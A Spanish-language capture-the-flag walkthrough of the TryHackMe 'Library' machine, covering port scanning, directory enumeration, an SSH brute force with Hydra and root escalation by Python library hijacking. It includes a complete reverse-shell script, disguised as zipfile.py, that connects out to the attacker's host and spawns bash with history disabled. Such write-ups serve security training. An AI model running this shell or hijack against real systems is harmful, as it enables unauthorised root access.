This page looks best with JavaScript enabled

TryHackMe - Library

 •  ✍️ sckull

Library es una maquina de TryHackMe originalmente para Bsides Guatemala, realizamos un ataque de fuerza bruta para obtener acceso. Descubrimos un script el cual ejecutamos con sudo y realizamos Python Library Hijacking para obtener acceso root.

Room

Titulo Library box_img_maker
Descripción boot2root machine for FIT and bsides guatemala CTF
Puntos 60
Dificultad Facil
Maker

stuxnet

MASSCAN & NMAP

Escaneo de puertos tcp/udp y sus servicios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@kali:~/trymehack/library# masscan -p1-65535,U:1-65535 10.10.184.190 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-09-03 08:19:17 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 22/tcp on 10.10.184.190                                   
Discovered open port 80/tcp on 10.10.184.190

Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-03 04:22 EDT
Nmap scan report for 10.10.184.190
Host is up (0.21s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:2f:c3:47:67:06:32:04:ef:92:91:8e:05:87:d5:dc (RSA)
|   256 68:92:13:ec:94:79:dc:bb:77:02:da:99:bf:b6:9d:b0 (ECDSA)
|_  256 43:e8:24:fc:d8:b8:d3:aa:c2:48:08:97:51:dc:5b:7d (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Welcome to  Blog - Library Machine
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.64 seconds

HTTP

Pagina web en el puerto 80.
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~/trymehack/library# gobuster dir -u 10.10.184.190 -w /usr/share/wordlists/dirb/common.txt -n -x php,html,txt -t 15
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.184.190
[+] Threads:        15
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php,html,txt
[+] No status:      true
[+] Timeout:        10s
===============================================================
2019/09/03 04:25:57 Starting gobuster
===============================================================
/images
/index.html
/index.html
/robots.txt
/robots.txt
/server-status
===============================================================
2019/09/03 04:31:35 Finished
===============================================================

ROBOTS.TXT

Encontramos una pista en robots.txt la que indica el nombre del “wordlist rockyou”.
image

ENUM USERS - SSH

Utilizamos OpenSSH 7.2p2 - Username Enumeration para enumerar los usuarios dentro del servicio SSH, los usuarios que enumeramos son los que aparecen como comentarios en la pagina principal y el autor del primer post.

1
2
3
4
5
root
www-data
meliodas
anonymous
Anonymous

image

HYDRA

Utilizamos hydra con el wordlist de rockyou y nuestro pequeño wordlist de usuarios, logrando obtener la contraseña para el usuario Meliodas.

image

USER - MELIODAS

Obtenemos nuestra flag user.txt al logearnos en el servicio ssh con las credenciales encontradas.

1
2
login: meliodas
password: iloveyou1

image

image

PRIVILEGE ESCALATION

Utilizamos sudo -l -l y encontramos que podemos ejecutar python en cualquiera de sus versiones pasandole un script que esta dentro de nuestra carpeta principal.
image

El script bak.py utiliza las librerias os y zipfile, vamos a crear el archivo zipfile.py el cual va contener una shell inversa, al ejecutarse bak.py va a ejecutar nuestro script esto sucedera porque en la variable $PATH se encuentra primero nuestra carpeta principal.

image

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import os
import pty
import socket

lhost = "10.8.1.72"
lport = 1337

ZIP_DEFLATED = 0

class ZipFile:
    def close(*args):
        return

    def write(*args):
        return

    def __init__(self, *args):
        return

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()

Ejecutamos con sudo:

1
sudo /usr/bin/python /home/meliodas/bak.py

Obtenemos una shell como usuario root y nuestra flag root.txt.

image

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe